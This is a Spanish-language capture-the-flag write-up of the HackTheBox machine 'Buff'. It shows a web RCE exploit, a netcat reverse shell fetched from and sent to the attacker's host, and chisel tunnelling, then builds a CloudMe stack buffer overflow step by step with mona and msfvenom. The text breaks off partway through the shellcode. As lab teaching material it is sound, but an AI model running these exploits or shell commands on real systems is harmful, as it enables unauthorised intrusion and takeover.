xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Buff



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos solo un puerto abierto, este es el 8080 que corre un servicio http

❯ nmap 10.10.10.198
Nmap scan report for 10.10.10.198  
PORT     STATE SERVICE
8080/tcp open  http-proxy

La página del puerto 8080 parece bastante estatica sin nada demasiado interesante

En la pestaña de contacto logramos ver algo interesante que es la tecnologia que usa la web por detras, esta es Gym Management Software de version 1.0


Shell - shaun


Buscando vulnerabilidades para este servicio llegamos a un exploit que nos permite llegar a ejecutar comandos en el equipo, en este caso como el usuario shaun

❯ python2 48506.py http://10.10.10.198:8080/
            /\
/vvvvvvvvvvvv \--------------------------------------,  
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
buff\shaun

C:\xampp\htdocs\gym\upload>

Para conseguir una shell algo mas interactiva podemos descargar y ejecutar netcat para enviarnos una powershell, ya con la shell podemos leer la primer flag

C:\xampp\htdocs\gym\upload> curl 10.10.14.10/netcat.exe -o C:\ProgramData\netcat.exe  

C:\xampp\htdocs\gym\upload> C:\ProgramData\netcat.exe -e powershell 10.10.14.10 443  

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.198
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\xampp\htdocs\gym\upload> whoami
buff\shaun
PS C:\xampp\htdocs\gym\upload> type C:\Users\shaun\Desktop\user.txt  
bf4**************************a26
PS C:\xampp\htdocs\gym\upload>


Shell - Administrator


Algo interesante es que en la carpeta de descargas del usuario shaun podemos ver el instalador de CloudMe de versión 1.11.2 que parece ser bastante antigua

PS C:\Users\shaun\Downloads> dir

    Directory: C:\Users\shaun\Downloads

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       16/06/2020     16:26       17830824 CloudMe_1112.exe  

PS C:\Users\shaun\Downloads>

Mirando los procesos actuales podemos ver que el programa CloudMe esta corriendo

PS C:\Users\shaun\Downloads> Get-Process | Select-Object -First 5

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    438      24    20124      26260              6488   1 ApplicationFrameHost  
    161      10     1936       7244              7012   1 browser_broker
    320      22    29024      35780              8456   0 CloudMe
     41       5     4812       3352               432   0 cmd
     50       4     1980        280       0.00    792   0 cmd

PS C:\Users\shaun\Downloads>

Sin embargo el puerto 8888 del programa solo se expone en local por lo que tendremos que usar chisel para transferir ese puerto a nuestro host y tener conexion

PS C:\ProgramData> curl 10.10.14.10/chisel.exe -o chisel.exe
PS C:\ProgramData> .\chisel.exe client 10.10.14.10:9999 R:8888:127.0.0.1:8888  
client: Connecting to ws://10.10.14.10:9999
client: Connected (Latency 12.395ms)


Buffer Overflow - Stack Based


Aunque hay algunos exploits publicos, es una buena oportunidad para practicar un Buffer Overflow, iniciaremos instalando CloudMe y ejecutandolo en WindDbg

La primera parte será corromper el programa, asi que enviaremos una cantidad excesiva de 1500 A's esperando que se sobrescriba la dirección de retorno

#!/usr/bin/python3
from pwn import remote

payload = b"A" * 1500

shell = remote("127.0.0.1", 8888)  
shell.sendline(payload)

Al ejecutar el exploit el programa se corrompe y en el debugger ahora el registro eip vale 0x41414141 que es 4 A's en hexadecimal, nuestra idea sera controlar ese puntero

❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 8888: Done  
[*] Closed connection to 127.0.0.1 port 8888

0:000> g
(23ac.3af0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=41414141 ecx=909b37b2 edx=01530000 esi=41414141 edi=41414141  
eip=41414141 esp=00a3aa10 ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202  
41414141 ??              ???

Sabemos que el programa en algun punto sobrescribe algun puntero y corrompe, ahora necesitamos saber cuantos bytes son necesarios antes de sobrescribir ese puntero que toma como valor eip para ello usaremos pattern_create para crear un patrón especialmente diseñado para encontrar el offset a ese puntero

0:000> !py mona pattern_create 1500
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_create 1500
Creating cyclic pattern of 1500 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9  
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile C:\mona\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open C:\mona\pattern.txt and copy the pattern from the file

Modificamos el script cambiando las A's por la cadena especialmente diseñada para encontrar un offset, corremos de nuevo el programa y nuevamente se corrompe

#!/usr/bin/python3
from pwn import remote

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9"  

shell = remote("127.0.0.1", 8888)
shell.sendline(payload)

Lo que haremos sera usar pattern_offset para encontrar el offset o bytes basura necesarios antes de sobrescribir el puntero al que apunta eip cuando corrompe, como argumento simplemente le pasamos el registro y encuentra un offset de 1052

0:000> g
(ce4.116c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=69423569 ecx=469bc007 edx=00b30000 esi=37694236 edi=42386942  
eip=316a4230 esp=00a3aa10 ebp=6a423969 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202  
316a4230 ??              ???

0:000> !py mona pattern_offset eip
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_offset eip
Looking for 0Bj1 in pattern of 500000 bytes
 - Pattern 0Bj1 (0x316a4230) found in cyclic pattern at position 1052
Looking for 0Bj1 in pattern of 500000 bytes
Looking for 1jB0 in pattern of 500000 bytes
 - Pattern 1jB0 not found in cyclic pattern (uppercase)  
Looking for 0Bj1 in pattern of 500000 bytes
Looking for 1jB0 in pattern of 500000 bytes
 - Pattern 1jB0 not found in cyclic pattern (lowercase)

Para comprobarlo enviaremos A's hasta antes de sobreescribirlo, en ese registro enviaremos 4 B's y simulando un shellcode dejaremos C's en el stack

#!/usr/bin/python3
from pwn import remote

offset = 1052
junk = b"A" * offset

ret = b"B" * 4
stack = b"C" * 300

payload = junk + ret + stack

shell = remote("127.0.0.1", 8888)  
shell.sendline(payload)

Al enviar el exploit podemos ver que eip vale 0x42424242 que son las B's y justo en el stack estan las C's, la idea sera saltar al esp para interpretar las instrucciones

0:000> g
(3698.23c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=41414141 ecx=5018deea edx=03330000 esi=41414141 edi=41414141  
eip=42424242 esp=00a3aa10 ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202  
42424242 ??              ???

0:000> db esp
00a3aa10  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00a3aa20  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00a3aa30  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00a3aa40  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00a3aa50  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00a3aa60  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00a3aa70  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00a3aa80  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

Lo siguiente sera detectar badchars por lo que con mona crearemos una lista con todos los caracteres posibles, esto nos creara un archivo txt y un bin

0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

Modificaremos el script para que los bytes se guarden en el stack al corromper

#!/usr/bin/python3
from pwn import remote

offset = 1052
junk = b"A" * offset

ret = b"B" * 4

badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

payload = junk + ret + badchars

shell = remote("127.0.0.1", 8888)
shell.sendline(payload)

Enviamos y al ejecutar la comparación podemos ver unmodified quiere decir que todos los caracteres enviados se procesaron correctamente en el programa, esto es una buena noticia ya que no tendremos restricciones a la hora de crear el exploit

0:000> g
(2ec0.3e6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=41414141 ecx=dce7ba99 edx=035c0000 esi=41414141 edi=41414141
eip=42424242 esp=00a3aa10 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
42424242 ??              ???

0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp  
[+] Reading file C:\mona\bytearray.bin...
    Read 256 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 256 bytes successfully from C:\mona\bytearray.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x00a3aa10 | [+] Comparing with memory at location : 0x00a3aa10 (Stack)
0x00a3aa10 | !!! Hooray, normal shellcode unmodified !!!

Listando los modulos con mona encontramos la libreria qt5core.dll sin nunguna proteccion, podemos buscar en el un gadget para saltar y ejecutar el stack

0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false

---------- Mona command started on 2024-07-21 19:53:35 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Module criteria : ['os=false']
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------  
 Module info :
----------------------------------------------------------------------------------------------------------------------------------------------  
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------  
 0x68a80000 | 0x69055000 | 0x005d5000 | False  | False   | False | False |  False   | False  | 5.9.0.0 [Qt5Core.dll] 0x0
 0x6e2b0000 | 0x6e2f6000 | 0x00046000 | True   | True    | True  | False |  True    | False  | 1.0.2.8 [ssleay32.dll] 0x140
 0x01ab0000 | 0x01c2e000 | 0x0017e000 | True   | False   | False | False |  False   | False  | -1.0- [libstdc++-6.dll] 0x0
 0x6ff70000 | 0x700aa000 | 0x0013a000 | True   | True    | True  | False |  True    | False  | 1.0.2.8 [LIBEAY32.dll] 0x140
 0x00400000 | 0x00831000 | 0x00431000 | False  | False   | False | False |  False   | False  | -1.0- [CloudMe.exe] 0x0
 0x6d9c0000 | 0x6da0c000 | 0x0004c000 | False  | False   | False | False |  False   | False  | 5.9.0.0 [Qt5Sql.dll] 0x0
 0x69900000 | 0x69ac1000 | 0x001c1000 | False  | False   | False | False |  False   | False  | 5.9.0.0 [Qt5Network.dll] 0x0
 0x6eb40000 | 0x6eb64000 | 0x00024000 | False  | False   | False | False |  False   | False  | -1.0- [libgcc_s_dw2-1.dll] 0x0
 0x64b40000 | 0x64b5b000 | 0x0001b000 | False  | False   | False | False |  False   | False  | 1.0.0.0 [libwinpthread-1.dll] 0x0
 0x61b40000 | 0x62136000 | 0x005f6000 | False  | False   | False | False |  False   | False  | 5.9.0.0 [Qt5Gui.dll] 0x0
 0x01310000 | 0x01926000 | 0x00616000 | True   | False   | False | False |  False   | False  | 5.9.0.0 [Qt5Widgets.dll] 0x0
 0x6fe80000 | 0x6ff6e000 | 0x000ee000 | True   | True    | True  | False |  True    | False  | 12.0.21005.1 [MSVCR120.dll] 0x140
 0x66e00000 | 0x66e3d000 | 0x0003d000 | False  | False   | False | False |  False   | False  | 5.9.0.0 [Qt5Xml.dll] 0x0
 ----------------------------------------------------------------------------------------------------------------------------------------------  

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

Para saltar a la pila donde se guarda el shellcode y se interprete necesitamos una dirección con un gadget que salte al esp, con mona encontramos varias instrucciones, la que mas se repite es call esp que podemos usar sin problemas

0:000> !py mona jmp -r esp -m qt5core.dll
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r esp -m qt5core.dll

---------- Mona command started on 2024-07-21 19:54:25 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules qt5core.dll
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module Qt5Core.dll
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
    - Number of pointers of type 'xchg eax,esp # call eax' : 1 
    - Number of pointers of type 'call esp' : 22 
    - Number of pointers of type 'jmp esp' : 41 
    - Number of pointers of type 'push esp # ret ' : 21 
[+] Results : 
0x68c210a6 |   0x68c210a6 : xchg eax,esp # call eax |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0  
0x68f7187b |   0x68f7187b : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68f7bcdb |   0x68f7bcdb : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68f7d343 |   0x68f7d343 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68f84603 |   0x68f84603 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68f857cf |   0x68f857cf : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68f86627 |   0x68f86627 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68f866e7 |   0x68f866e7 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68f95b33 |   0x68f95b33 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fa7f93 |   0x68fa7f93 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fad5f3 |   0x68fad5f3 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fb2eef |   0x68fb2eef : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fbeda3 |   0x68fbeda3 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fbf033 |   0x68fbf033 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fbf077 |   0x68fbf077 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fc6b27 |   0x68fc6b27 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fcbfa3 |   0x68fcbfa3 : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fdfcdb |   0x68fdfcdb : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68fe1a7f |   0x68fe1a7f : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
0x68feefdb |   0x68feefdb : call esp |  {PAGE_EXECUTE_WRITECOPY} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v5.9.0.0, 0x0
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open C:\mona\jmp.txt...    Found a total of 85 pointers

Para evitar tener que abrir un listener en una shell simplemente con msfvenom crearemos un shellcode que ejecute calc.exe para comprobar que funcione

❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of python file: 1095 bytes
shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
